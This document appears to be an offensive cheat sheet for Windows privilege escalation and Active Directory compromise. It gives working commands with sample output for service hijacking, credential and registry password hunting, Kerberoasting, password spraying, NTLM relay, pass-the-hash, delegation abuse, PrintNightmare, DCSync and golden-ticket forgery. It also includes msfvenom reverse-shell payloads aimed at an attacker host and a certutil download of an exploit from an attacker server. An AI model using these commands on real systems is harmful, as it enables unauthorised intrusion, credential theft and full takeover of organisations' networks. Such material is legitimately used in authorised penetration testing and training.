CustomSvc  C:\Program Files\My App\service.exe

Path has spaces + no quotes = hijackable
Place: C:\Program Files\My.exe
Restart service -> runs your exe as SYSTEM

Exploit unquoted path

Windows tries each space as path end — Restart service to trigger

If path: C:\Program Files\My App\service.exe
Place malicious exe at: C:\Program.exe
or: C:\Program Files\My.exe
Example Output
Path: C:\Program Files\My App\service.exe

msfvenom -p windows/x64/shell_reverse_tcp ... -f exe -o 'C:\Program Files\My.exe'

sc stop CustomSvc
sc start CustomSvc

Attacker:
C:\> whoami
nt authority\system

Weak service permissions

Can you modify service config? — Change binPath to your payload

accesschk.exe -uwcqv * /accepteula
or: sc qc <service_name>
Example Output
accesschk.exe -uwcqv 'Everyone' * /accepteula
RW CustomService
  SERVICE_ALL_ACCESS

sc config CustomService binPath= 'C:\temp\rev.exe'
sc stop CustomService
sc start CustomService
(Shell as SYSTEM)

Modify service binary path

Point service to your payload — Runs as service account (often SYSTEM)

sc config <service> binPath= 'C:\temp\rev.exe'
sc stop <service>
sc start <service>
Example Output
sc config CustomSvc binPath= 'C:\temp\rev.exe'
[SC] ChangeServiceConfig SUCCESS

sc stop CustomSvc
sc start CustomSvc

Attacker:
C:\> whoami
nt authority\system

Writable service binary

Replace the actual binary — Overwrite with reverse shell

icacls 'C:\path\to\service.exe'
Look for: (F) or (M) for your user
Example Output
icacls C:\custom\svc.exe
BUILTIN\Users:(F)  <- FULL CONTROL!

copy C:\temp\rev.exe C:\custom\svc.exe /Y
sc stop CustomSvc
sc start CustomSvc
(Your payload runs as SYSTEM)

DLL hijacking (services)

Service loads missing DLL — DLL runs as service user

Process Monitor: filter for NAME NOT FOUND on .dll
Place malicious DLL in search path
Example Output
Process Monitor filter: Result=NAME NOT FOUND, Path ends with .dll
CustomSvc.exe -> C:\custom\missing.dll NOT FOUND

msfvenom -p windows/x64/shell_reverse_tcp ... -f dll -o C:\custom\missing.dll
Restart service -> shell as SYSTEM

Service restart permissions

Need to trigger the service — Some need admin to restart

sc stop <service>
sc start <service>
or reboot if you can
Example Output
sc stop CustomSvc
[SC] Access denied

Try: shutdown /r /t 0
OR wait for scheduled restart
OR: sc config CustomSvc start=auto
(Service restarts after reboot)

Service Creation & Persistence

Create a service for SYSTEM shell

sc.exe create — If you have local admin but need SYSTEM

sc.exe create reverse binPath= "C:\Windows\Temp\shell.exe" start= auto
sc.exe start reverse

Modify existing service binary path

Change service to point to your payload

sc.exe config <service> binPath= "C:\Windows\Temp\shell.exe"
sc.exe stop <service>
sc.exe start <service>

Check service permissions

Which services can you modify

accesschk.exe /accepteula -uwcqv "Authenticated Users" *
accesschk.exe /accepteula -uwcqv "Everyone" *
# SERVICE_CHANGE_CONFIG or SERVICE_ALL_ACCESS = exploitable

Unquoted service paths

If service path has spaces and no quotes — Hijack with binary in parent directory

wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows"
# Path: C:\Program Files\My App\service.exe
# Place payload at: C:\Program.exe or C:\Program Files\My.exe

DLL hijacking via service

Replace DLL loaded by service — Runs as service account

sc.exe qc <service>
icacls "C:\Program Files\Vulnerable App\"
msfvenom -p windows/shell_reverse_tcp LHOST=$LHOST LPORT=4444 -f dll -o hijack.dll
sc.exe stop <service> && sc.exe start <service>

REGISTRY & AUTOLOGON

AlwaysInstallElevated

Both must be 1 — Install MSI as SYSTEM

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Example Output
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
  AlwaysInstallElevated  REG_DWORD  0x1

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
  AlwaysInstallElevated  REG_DWORD  0x1

BOTH must be 1 to exploit!
(If only one = not vulnerable)

Exploit AlwaysInstallElevated

Generate malicious MSI — Runs as SYSTEM

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=443 -f msi -o shell.msi
msiexec /quiet /qn /i C:\temp\shell.msi
Example Output
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.2 LPORT=443 -f msi -o shell.msi

Transfer to target:
msiexec /quiet /qn /i C:\temp\shell.msi

Attacker nc -nlvp 443:
C:\Windows\system32> whoami
nt authority\system
(MSI installs as SYSTEM when both keys = 1)

AutoLogon credentials

Stored plaintext credentials — Auto-login configured

reg query 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon' /v DefaultUserName
reg query 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon' /v DefaultPassword
Example Output
reg query 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon'
  DefaultUserName    REG_SZ  administrator
  DefaultPassword    REG_SZ  Admin@123!
(Plaintext admin credentials in registry)

Saved credentials

Cached credentials — Run commands as stored user

cmdkey /list
runas /savecred /user:admin cmd.exe
Example Output
cmdkey /list
  Target: Domain:interactive=CORP\administrator
  Type: Domain Password
  User: CORP\administrator

runas /savecred /user:CORP\administrator cmd.exe
C:\> whoami
corp\administrator

Search registry for passwords — VNC, PuTTY, other apps store creds

reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
Example Output
reg query HKLM /f password /t REG_SZ /s
HKLM\SOFTWARE\VNC\Password  REG_SZ  5A003B2F...

VNC password decrypt:
vncpwd.exe 5A003B2F...
Result: s3cr3t!
(VNC and other apps store creds in registry)

SAM/SYSTEM backup files

Backup registry hives — Extract hashes offline

dir C:\Windows\Repair\SAM
dir C:\Windows\System32\config\RegBack\
Example Output
dir C:\Windows\Repair\SAM
01/15/2020  SAM
01/15/2020  SYSTEM

copy C:\Windows\Repair\SAM C:\temp\
copy C:\Windows\Repair\SYSTEM C:\temp\

impacket-secretsdump -sam SAM -system SYSTEM LOCAL
Administrator:500:aad3b...:31d6cfe...

CREDENTIAL HUNTING

Search for passwords in files

Grep for password strings — Config files, notes, scripts

findstr /si "password" *.txt *.xml *.ini *.config *.cfg
findstr /si "password" C:\Users\*.*
Example Output
findstr /si "password" *.txt *.xml *.config
C:\inetpub\wwwroot\web.config:  connectionString="...Password=DBp@ss123..."
C:\Users\admin\Desktop\notes.txt: WiFi password: CompanyWifi2024!

PowerShell history

Previous PS commands — May contain typed passwords

type C:\Users\<user>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
Example Output
type ConsoleHost_history.txt
Invoke-Command -ComputerName DC01 -Credential $cred
$password = ConvertTo-SecureString 'P@ssw0rd!' -AsPlainText
net user admin NewP@ss123 /domain
(Passwords in PS history)

IIS web.config

Database connection strings — SQL credentials

type C:\inetpub\wwwroot\web.config
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
Example Output
type C:\inetpub\wwwroot\web.config
<connectionStrings>
  <add connectionString="Server=localhost;Database=webapp;User Id=sa;Password=SQLp@ss2024!"/>
</connectionStrings>

Unattend/sysprep files

Deployment passwords — Often base64 encoded

type C:\unattend.xml
type C:\Windows\Panther\Unattend.xml
type C:\Windows\system32\sysprep\Unattend.xml
Example Output
type C:\Windows\Panther\Unattend.xml
<AutoLogon>
  <Password>
    <Value>QWRtaW5AMTIz</Value>
  </Password>
  <Username>Administrator</Username>
</AutoLogon>

base64 -d: Admin@123

WiFi passwords

Stored WiFi credentials — May match user passwords

netsh wlan show profiles
netsh wlan show profile name=<SSID> key=clear
Example Output
netsh wlan show profiles
  All User Profile : CorpWiFi

netsh wlan show profile name=CorpWiFi key=clear
  Key Content: CompanyWiFi2024!
(People often reuse WiFi password for accounts)

PuTTY saved sessions

Stored SSH credentials — Proxy passwords

reg query HKCU\Software\SimonTatham\PuTTY\Sessions /s
Example Output
reg query HKCU\Software\SimonTatham\PuTTY\Sessions /s
  HostName: 172.16.1.10
  UserName: admin
  ProxyPassword: Pr0xyP@ss!
(Saved SSH session credentials)

Credential Manager

Windows Credential Manager — Stored creds for services

cmdkey /list
rundll32.exe keymgr.dll,KRShowKeyMgr
Example Output
cmdkey /list
Target: Domain:interactive=CORP\administrator
Type: Domain Password
User: CORP\administrator
(Saved domain admin creds! Use with runas /savecred)

DPAPI master keys

Encrypted credential storage — Decrypt with mimikatz if admin

dir C:\Users\<user>\AppData\Roaming\Microsoft\Protect\
Example Output
dir C:\Users\admin\AppData\Roaming\Microsoft\Protect\
  S-1-5-21-...
  (Master key files found)

With admin access:
mimikatz# dpapi::masterkey /in:masterkey /rpc
(Decrypt Chrome passwords, saved creds)

SCHEDULED TASKS

List scheduled tasks

All scheduled tasks — Tasks running as SYSTEM

schtasks /query /fo LIST /v
Get-ScheduledTask
Example Output
schtasks /query /fo LIST /v | findstr /i 'taskname\|run as\|task to run'
TaskName: \CustomBackup
Run As User: SYSTEM
Task To Run: C:\Scripts\backup.bat
(Runs as SYSTEM - check if script is writable)

Writable task scripts

Can you modify the script? — Runs as task owner

Check permissions on scripts referenced by tasks
icacls <script_path>
Example Output
schtasks /query /fo LIST /v | findstr /i 'task\|run\|author'
TaskName: \Backup
Run As User: SYSTEM
Task To Run: C:\Scripts\backup.bat

icacls C:\Scripts\backup.bat
BUILTIN\Users:(F)  <- FULL CONTROL!
(Modify script, wait for execution)

Task binary replacement

Replace with reverse shell — Waits for next scheduled run

If task runs a binary you can overwrite
Example Output
Task runs: C:\Scripts\app.exe
icacls C:\Scripts\app.exe -> Users:(F)

copy C:\temp\rev.exe C:\Scripts\app.exe /Y
(Wait for scheduled run or trigger manually)

KERNEL EXPLOITS

windows-exploit-suggester

Match OS/patches to exploits — Run on attacker machine

systeminfo > sysinfo.txt
python3 wes.py sysinfo.txt
Example Output
python3 wes.py sysinfo.txt
[E] MS17-010: EternalBlue
    Affected: Windows Server 2016
    KB: KB4013389 (NOT installed)
[E] CVE-2021-1732: Win32k Elevation
    Affected: Windows 10/Server 2019
[M] CVE-2020-0787: BITS Elevation
    Affected: All Windows versions
(Cross-reference with installed hotfixes)

Check for common CVEs

Quick manual check — Based on OS version

PrintNightmare (CVE-2021-34527)
HiveNightmare (CVE-2021-36934)
EternalBlue (MS17-010)
MS16-032 (Secondary Logon)
Example Output
PrintNightmare (CVE-2021-1675):
Get-Service Spooler -> Running = potentially vulnerable

HiveNightmare (CVE-2021-36934):
icacls C:\Windows\System32\config\SAM -> BUILTIN\Users:(I)(RX) = vulnerable!

EternalBlue (MS17-010):
nmap --script smb-vuln-ms17-010 -p 445 target
(Check each based on OS version)

Compile and transfer exploit

Match architecture — x86 vs x64 matters

Cross-compile or use pre-compiled binaries from GitHub
Example Output
On attacker:
x86_64-w64-mingw32-gcc exploit.c -o exploit.exe
python3 -m http.server 80

On target:
certutil -urlcache -split -f http://ATTACKER/exploit.exe C:\temp\exploit.exe
C:\temp\exploit.exe
(Cross-compile Windows exploits on Linux)

🏢 Active Directory

Domain enumeration, Kerberos attacks, lateral movement, and domain escalation.


AD ENUMERATION (FROM FOOTHOLD)

Identify domain

Confirm you're in a domain — Starting point for AD attacks

systeminfo | findstr /B Domain
echo %userdomain%
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
Example Output
systeminfo | findstr Domain
Domain: corp.local
Logon Server: \\DC01

echo %userdomain%
CORP

Domain controller IP

Identify the DC — Primary target

nltest /dclist:<domain>
nslookup -type=srv _ldap._tcp.dc._msdcs.<domain>
Example Output
nltest /dclist:corp.local
  DC01.corp.local [PDC] [DS] Site: Default
  Address: \\10.10.10.5
(DC IP identified for targeting)

Domain users

All domain users — Build target list

net user /domain
Get-ADUser -Filter * | Select SamAccountName
Example Output
net user /domain
Administrator    Guest    krbtgt
john.smith       svc_sql  admin.backup
svc_web          jane.doe helpdesk

Domain groups

Groups and membership — Who is Domain Admin?

net group /domain
net group 'Domain Admins' /domain
Example Output
net group 'Domain Admins' /domain
Members:
  Administrator  john.smith  svc_admin
(3 Domain Admins - these are our targets)

Domain password policy

Lockout threshold, complexity — Guides password spray rate

net accounts /domain
Example Output
net accounts /domain
Lockout threshold: 5
Lockout duration: 30 min
Minimum password length: 7
(5 attempts before lockout, spray carefully)

BloodHound collection

Graph AD relationships — Visual attack path finder

.\SharpHound.exe -c All
or: bloodhound-python -d <domain> -u <user> -p <pass> -ns <DC_IP> -c All
Example Output
.\SharpHound.exe -c All
Initializing SharpHound
Resolved: corp.local
Collected 847 objects
Zip: 20260224_BloodHound.zip
(Upload zip to BloodHound GUI)

BloodHound analysis

Query pre-built attack paths — Shows exactly how to escalate

Upload .zip to BloodHound GUI
Run: Shortest Path to Domain Admins
Run: Find AS-REP Roastable Users
Run: Find Kerberoastable Users
Example Output
Upload zip -> Queries:
'Shortest Path to Domain Admins':
john -> GenericAll -> svc_admin -> Domain Admins

'Kerberoastable Users':
svc_sql (SPN: MSSQLSvc/DB01)
(Visual attack path to DA)

Enum SPNs

Service accounts with SPNs — Kerberoast targets

Get-ADUser -Filter {ServicePrincipalName -ne '$null'} -Properties ServicePrincipalName
or: impacket-GetUserSPNs <domain>/<user>:<pass> -dc-ip <DC_IP>
Example Output
impacket-GetUserSPNs corp.local/john:Password1 -dc-ip 10.10.10.5
SPN                    Name        
MSSQLSvc/DB01:1433     svc_sql
HTTP/WEB01             svc_web
(These accounts are Kerberoastable)

Enum ACLs

Who has rights over what — GenericAll, WriteDACL, etc = takeover

Find-InterestingDomainAcl (PowerView)
or: BloodHound edge analysis
Example Output
PowerView:
Find-InterestingDomainAcl

john.smith has GenericAll over svc_admin
IT-Support group has WriteDACL over Domain Admins
(ACL abuse = privilege escalation path)

Enum computers

All domain computers — Find targets, old OS versions

Get-ADComputer -Filter * | Select Name,OperatingSystem
Example Output
Get-ADComputer -Filter * | Select Name,OperatingSystem
DC01     Windows Server 2019
WEB01    Windows Server 2019
DB01     Windows Server 2016
WIN10-1  Windows 10 Pro
(DB01 on 2016 = more exploit options)

Shares across domain

Enum all SMB shares — Find sensitive files

crackmapexec smb <subnet>/24 --shares -u <user> -p <pass>
Example Output
crackmapexec smb 10.10.10.0/24 --shares -u john -p Password1
10.10.10.5   DC01    Backups(READ) SYSVOL(READ)
10.10.10.20  WEB01   wwwroot(READ,WRITE)
10.10.10.21  DB01    SQLBackups(READ)
(WRITE on wwwroot = upload webshell)

BloodHound

Collect data with SharpHound

Run on domain-joined machine — Generates ZIP for BloodHound

.\SharpHound.exe -c All
# Or PowerShell:
Import-Module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Temp

Collect with BloodHound.py (from Linux)

Remote collection without touching target — Uses LDAP

bloodhound-python -u user -p 'password' -d domain.local -ns $DC_IP -c all

Start BloodHound

Launch Neo4j and BloodHound GUI — Import collected data

sudo neo4j console &
bloodhound &
# Drag and drop the ZIP file into BloodHound

Key queries to run

Find attack paths — These reveal the fastest routes to DA

- Find all Domain Admins
- Shortest Paths to Domain Admins from Owned Principals
- Find Kerberoastable Users with Most Privileges
- Find AS-REP Roastable Users
- Shortest Paths to High Value Targets
- Find Computers with Unconstrained Delegation
- Find Principals with DCSync Rights

Mark owned users

Right-click users you've compromised — BloodHound recalculates paths

Right-click user > Mark User as Owned
Then run: "Shortest Paths to Domain Admins from Owned Principals"

KERBEROASTING

Request service tickets

Get TGS tickets for SPNs — Any domain user can do this

impacket-GetUserSPNs <domain>/<user>:<pass> -dc-ip <DC_IP> -request -outputfile kerberoast.txt
Example Output
impacket-GetUserSPNs corp.local/john:Password1 -dc-ip 10.10.10.5 -request
$krb5tgs$23$*svc_sql$CORP.LOCAL$...

hashcat -m 13100 hash.txt rockyou.txt
svc_sql:SQLServiceP@ss!
(Kerberoasted service account password)

Kerberoast with Rubeus

From Windows foothold — Alternative to impacket

.\Rubeus.exe kerberoast /outfile:kerberoast.txt
Example Output
.\Rubeus.exe kerberoast /outfile:hashes.txt
[*] Found 2 Kerberoastable users
[*] SPN: MSSQLSvc/DB01:1433 - svc_sql
[*] Hash written to hashes.txt

Crack TGS hashes

Offline cracking — Service account passwords

hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt
Example Output
hashcat -m 13100 hashes.txt rockyou.txt
$krb5tgs$23$*svc_sql*:SQLServiceP@ss!

Status: Cracked
Hash.Target: svc_sql
Password: SQLServiceP@ss!

Use cracked password

Access with service account — Often has high privileges

crackmapexec smb <DC_IP> -u <svc_account> -p <cracked_pass>
evil-winrm if WinRM is open
Example Output
crackmapexec smb 10.10.10.5 -u svc_sql -p 'SQLServiceP@ss!'
[+] corp.local\svc_sql:SQLServiceP@ss! (Pwn3d!)

evil-winrm -i 10.10.10.5 -u svc_sql -p 'SQLServiceP@ss!'
*Evil-WinRM* PS> whoami
corp\svc_sql

AS-REP ROASTING

Find AS-REP roastable users

Users with PreAuth disabled — Don't need any credentials for this

impacket-GetNPUsers <domain>/ -usersfile users.txt -no-pass -dc-ip <DC_IP> -outputfile asrep.txt
Example Output
impacket-GetNPUsers corp.local/ -usersfile users.txt -no-pass -dc-ip 10.10.10.5
$krb5asrep$23$svc_backup@CORP.LOCAL:...

hashcat -m 18200 hash.txt rockyou.txt
svc_backup:Backup2024!
(No creds needed to get the hash!)

AS-REP roast with Rubeus

From Windows foothold — Alternative to impacket

.\Rubeus.exe asreproast /outfile:asrep.txt
Example Output
.\Rubeus.exe asreproast /outfile:asrep.txt
[*] Found 1 AS-REP roastable user
[*] User: svc_backup (no preauth)
[*] Hash written to asrep.txt

Crack AS-REP hashes

Offline cracking — User password

hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
Example Output
hashcat -m 18200 asrep.txt rockyou.txt
$krb5asrep$23$svc_backup@CORP.LOCAL:Backup2024!

Cracked! svc_backup:Backup2024!

PASSWORD SPRAYING

Spray with crackmapexec

One password, all users — Check lockout policy first

crackmapexec smb <DC_IP> -u users.txt -p 'Password1' --continue-on-success
Example Output
crackmapexec smb 10.10.10.5 -u users.txt -p 'Winter2025'
SMB  10.10.10.5  445  DC01  [-] corp\administrator:Winter2025
SMB  10.10.10.5  445  DC01  [-] corp\john.smith:Winter2025
SMB  10.10.10.5  445  DC01  [+] corp\jane.doe:Winter2025
(FOUND VALID CREDS)

Spray with kerbrute

Kerberos-based spray — Stealthier than SMB

kerbrute passwordspray -d <domain> users.txt 'Password1' --dc <DC_IP>
Example Output
kerbrute passwordspray -d corp.local users.txt 'Winter2025' --dc 10.10.10.5
[+] VALID LOGIN: jane.doe@corp.local:Winter2025
(Kerberos-based, doesn't generate Windows logon events)

Common passwords to try

Predictable patterns — Match complexity requirements

Password1, Welcome1, <Season><Year> (Winter2025), <Company>1, Password123, Changeme1
Example Output
Password1     <- most common
Welcome1      <- second most common
Winter2025    <- current season + year
Corp2025!     <- company name + year
Changeme1     <- default reset password
(Match password policy: 7+ chars, uppercase, number)

NTLM Relay & Responder

Capture hashes with Responder

Poison LLMNR/NBT-NS/mDNS — Capture NTLMv2 hashes on the network

sudo responder -I eth0 -dwPv
Example Output
[SMB] NTLMv2-SSP Client   : 10.10.10.50
[SMB] NTLMv2-SSP Username : DOMAIN\jsmith
[SMB] NTLMv2-SSP Hash     : jsmith::DOMAIN:1122334455667788:ABC123...

Crack captured NTLMv2 hashes

Hashcat mode 5600

hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt

NTLM relay with ntlmrelayx

Relay captured auth to another host — Don't crack, relay instead

# Disable SMB and HTTP in /etc/responder/Responder.conf
# SMB = Off, HTTP = Off

impacket-ntlmrelayx -tf targets.txt -smb2support
# Or execute command:
impacket-ntlmrelayx -tf targets.txt -smb2support -c "whoami"

Find hosts without SMB signing

Required for relay attacks — These are valid relay targets

crackmapexec smb $SUBNET/24 --gen-relay-list relay_targets.txt
# "Message signing enabled but not required" = relay target

Force authentication (coercion)

Trigger authentication to your Responder

# PetitPotam (unauthenticated):
python3 PetitPotam.py $LHOST $DC_IP

# PrinterBug / SpoolSample:
python3 printerbug.py domain/user:password@$TARGET $LHOST

LATERAL MOVEMENT

Pass the hash (crackmapexec)

Authenticate with NTLM hash — No password needed

crackmapexec smb <target> -u <user> -H <ntlm_hash>
Example Output
crackmapexec smb 10.10.10.0/24 -u administrator -H '31d6cfe0d16ae931b73c59d7e0c089c0'
SMB  10.10.10.5   DC01   [+] Pwn3d!
SMB  10.10.10.20  WEB01  [+] Pwn3d!
SMB  10.10.10.21  DB01   [+] Pwn3d!
SMB  10.10.10.22  FILE01 [-] STATUS_LOGON_FAILURE
(Spray hash across entire domain subnet)

Pass the hash (evil-winrm)

Interactive shell with hash — If WinRM is open (5985)

evil-winrm -i <target> -u <user> -H <ntlm_hash>
Example Output
evil-winrm -i 10.10.10.5 -u administrator -H '31d6cfe0d16ae931b73c59d7e0c089c0'
*Evil-WinRM* PS C:\Users\Administrator> whoami
corp\administrator
*Evil-WinRM* PS> hostname
DC01
(Interactive PowerShell on the DC with hash)

Pass the hash (psexec)

Get SYSTEM shell — Writes to ADMIN$ share

impacket-psexec <domain>/<user>@<target> -hashes :<ntlm_hash>
Example Output
impacket-psexec corp.local/administrator@10.10.10.5 -hashes :31d6cfe0d16ae931b...
[*] Requesting shares on 10.10.10.5
[*] Found writable share ADMIN$
C:\Windows\system32> whoami
nt authority\system

Pass the hash (wmiexec)

Semi-interactive shell — Stealthier than psexec

impacket-wmiexec <domain>/<user>@<target> -hashes :<ntlm_hash>
Example Output
impacket-wmiexec corp.local/administrator@10.10.10.5 -hashes :31d6cfe0d16ae931b73c59d7e0c089c0
[*] SMBv3.0 dialect used
C:\> whoami
corp\administrator
(Stealthier than psexec - uses WMI, no service created)

RDP with hash

GUI access with hash — Restricted Admin mode must be on

xfreerdp /u:<user> /pth:<ntlm_hash> /v:<target>
Example Output
xfreerdp /u:admin /pth:31d6cfe0d... /v:10.10.10.5
[INFO] Connected to 10.10.10.5
(Full GUI desktop, no password needed)
Note: Restricted Admin must be enabled on target

Check admin access on subnet

Which machines can you admin? — Map your access

crackmapexec smb <subnet>/24 -u <user> -p <pass> --local-auth
Example Output
crackmapexec smb 10.10.10.0/24 -u john -p Password1
SMB  10.10.10.5   445  DC01   [+] corp\john (Pwn3d!)
SMB  10.10.10.20  445  WEB01  [+] corp\john (Pwn3d!)
SMB  10.10.10.21  445  DB01   [-] corp\john
(Admin on DC01 and WEB01)

Spray cracked creds everywhere

Password reuse across machines — People reuse passwords

crackmapexec smb <subnet>/24 -u <user> -p <pass>
Example Output
crackmapexec smb 10.10.10.0/24 -u svc_sql -p 'SQLServiceP@ss!'
10.10.10.5  [+] (Pwn3d!)
10.10.10.20 [+] (Pwn3d!)
10.10.10.21 [+] (Pwn3d!)
(Service account has admin on multiple servers)

Delegation Attacks

Find unconstrained delegation

Machines that store user TGTs — Compromise = capture tickets

# BloodHound: "Find Computers with Unconstrained Delegation"
# PowerView:
Get-DomainComputer -Unconstrained | Select-Object dnshostname

Exploit unconstrained delegation

Coerce DC to authenticate, capture TGT, use it

# 1. Monitor for TGTs:
.\Rubeus.exe monitor /interval:5

# 2. Coerce DC:
.\SpoolSample.exe $DC_IP $COMPROMISED_HOST

# 3. Use captured ticket:
.\Rubeus.exe ptt /ticket:<base64_ticket>
mimikatz # lsadump::dcsync /domain:domain.local /user:krbtgt

Find constrained delegation

Services allowed to delegate to specific SPNs

Get-DomainUser -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | Select-Object dnshostname, msds-allowedtodelegateto

Exploit constrained delegation

S4U2Self + S4U2Proxy — Request ticket as any user

# Rubeus:
.\Rubeus.exe s4u /user:svc_sql /rc4:<hash> /impersonateuser:administrator /msdsspn:cifs/target.domain.local /ptt

# Impacket:
impacket-getST -spn cifs/target.domain.local -impersonate administrator domain.local/svc_sql:'Password1'
export KRB5CCNAME=administrator.ccache
impacket-psexec -k -no-pass target.domain.local

Resource-Based Constrained Delegation (RBCD)

If you can write msDS-AllowedToActOnBehalfOfOtherIdentity

# 1. Create computer account:
impacket-addcomputer -computer-name FAKE01 -computer-pass 'Password1' domain.local/user:'password'

# 2. Set RBCD:
impacket-rbcd -delegate-to TARGET$ -delegate-from FAKE01$ -action write domain.local/user:'password'

# 3. Get ticket:
impacket-getST -spn cifs/target.domain.local -impersonate administrator domain.local/FAKE01$:'Password1'
export KRB5CCNAME=administrator.ccache
impacket-psexec -k -no-pass target.domain.local

PrintNightmare (CVE-2021-1675)

Check if vulnerable

Print Spooler service running — Most Windows hosts are vulnerable

rpcdump.py $IP | grep -i spooler
crackmapexec smb $IP -u user -p 'password' -M printnightmare

Local Privilege Escalation

Add malicious DLL via Print Spooler — Escalate to SYSTEM

msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=4444 -f dll -o evil.dll
impacket-smbserver share $(pwd) -smb2support
python3 CVE-2021-1675.py domain.local/user:'password'@$IP '\\$LHOST\share\evil.dll'

Remote Code Execution

Exploit remotely via Print Spooler

python3 CVE-2021-1675.py domain.local/user:'password'@$IP '\\$LHOST\share\evil.dll'
# Or from existing shell:
.\SharpPrintNightmare.exe '\\$LHOST\share\evil.dll'

DOMAIN ESCALATION TO DA

DCSync attack

Dump all domain hashes — Need Replicating Directory Changes rights

impacket-secretsdump <domain>/<user>:<pass>@<DC_IP>
or: mimikatz: lsadump::dcsync /domain:<domain> /user:Administrator
Example Output
impacket-secretsdump corp.local/admin:P@ss@10.10.10.5
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
Administrator:500:aad3b...:31d6cfe...
krbtgt:502:aad3b...:f3bc61...
john.smith:1001:aad3b...:8846f7...
(ALL DOMAIN HASHES = FULL COMPROMISE)

Dump NTDS.dit

All domain user hashes — Full domain compromise

impacket-secretsdump <domain>/<user>:<pass>@<DC_IP> -just-dc-ntlm
Example Output
impacket-secretsdump corp.local/admin:P@ss@10.10.10.5 -just-dc-ntlm
[*] Dumping Domain Credentials
Administrator:500:aad3b...:31d6cfe...
krbtgt:502:aad3b...:f3bc61...
(Every single domain account hash)

Golden Ticket

Forge TGT with krbtgt hash — Persistent domain access

mimikatz: kerberos::golden /user:Administrator /domain:<domain> /sid:<domain_SID> /krbtgt:<krbtgt_hash> /ptt
Example Output
mimikatz# kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-... /krbtgt:f3bc61... /ptt

[+] Ticket injected
C:\> dir \\DC01\C$
(Access anything, forever, even after password changes)

Constrained delegation abuse

Impersonate any user — If user has delegation rights

impacket-getST -spn <target_SPN> -impersonate Administrator <domain>/<user>:<pass>
export KRB5CCNAME=Administrator.ccache
impacket-psexec <domain>/Administrator@<target> -k -no-pass
Example Output
impacket-getST -spn cifs/DC01 -impersonate Administrator corp.local/svc_web:P@ss
[*] Got TGS for Administrator@corp.local

export KRB5CCNAME=Administrator.ccache
impacket-psexec corp.local/Administrator@DC01 -k -no-pass
# whoami
nt authority\system on DC

GenericAll / WriteDACL abuse

Reset passwords, add to groups — Check BloodHound for these edges

If user has GenericAll on another user:
net rpc password <target_user> 'NewPass123' -U <domain>/<user>%<pass> -S <DC_IP>
Example Output
BloodHound shows: john.smith --GenericAll--> svc_admin

net rpc password svc_admin 'NewPass123' -U corp/john%Password1 -S 10.10.10.5
(Reset svc_admin password, now you own that account)

Group Policy abuse

Add yourself as local admin via GPO — Affects all machines GPO applies to

If you can modify GPO:
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount <user> --GPOName <gpo>
Example Output
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount john --GPOName 'Default Domain Policy'
[+] john added as local admin via GPO

gpupdate /force on target
(john is now local admin on all domain machines)

Force DC to auth to you — Relay to another DC for compromise

printerbug.py <domain>/<user>:<pass>@<DC_IP> <ATTACKER_IP>
with responder or ntlmrelayx listening
Example Output
printerbug.py corp.local/john:Pass@DC01 ATTACKER_IP
[*] Attempting to trigger authentication

On attacker (ntlmrelayx):
[*] SMBD: Received connection from DC01
[*] Authenticating against DC02
[*] ADMIN$ access on DC02
(Relayed DC auth to compromise second DC)

Ticket Attacks (Golden / Silver)

Silver Ticket

Forge a service ticket — Impersonate any user to a specific service

# Requires: service account NTLM hash, domain SID, target SPN

# Mimikatz:
kerberos::golden /domain:domain.local /sid:S-1-5-21-... /target:server.domain.local /service:cifs /rc4:<service_ntlm_hash> /user:administrator /ptt

# Impacket:
impacket-ticketer -nthash <service_hash> -domain-sid S-1-5-21-... -domain domain.local -spn cifs/server.domain.local administrator
export KRB5CCNAME=administrator.ccache
impacket-psexec -k -no-pass domain.local/administrator@server.domain.local

Golden Ticket

Forge a TGT using krbtgt hash — Impersonate anyone to any service

# Requires: krbtgt NTLM hash (from DCSync), domain SID

# Mimikatz:
kerberos::golden /user:administrator /domain:domain.local /sid:S-1-5-21-... /krbtgt:<krbtgt_hash> /ptt

# Impacket:
impacket-ticketer -nthash <krbtgt_hash> -domain-sid S-1-5-21-... -domain domain.local administrator
export KRB5CCNAME=administrator.ccache
impacket-psexec -k -no-pass domain.local/administrator@dc.domain.local

DCSync attack

Replicate credentials from DC — Requires Replicating Directory Changes rights

# Mimikatz:
lsadump::dcsync /domain:domain.local /user:krbtgt
lsadump::dcsync /domain:domain.local /all /csv

# Impacket (from Linux):
impacket-secretsdump domain.local/admin:'Password1'@$DC_IP
impacket-secretsdump -just-dc domain.local/admin:'Password1'@$DC_IP

Pass the Ticket

Use a captured or forged ticket — Inject into current session

# Mimikatz:
kerberos::ptt ticket.kirbi

# Rubeus:
.\Rubeus.exe ptt /ticket:ticket.kirbi

# Linux:
export KRB5CCNAME=/path/to/ticket.ccache
impacket-psexec -k -no-pass domain.local/administrator@target.domain.local

POST-EXPLOITATION (AFTER DA)

Dump all hashes

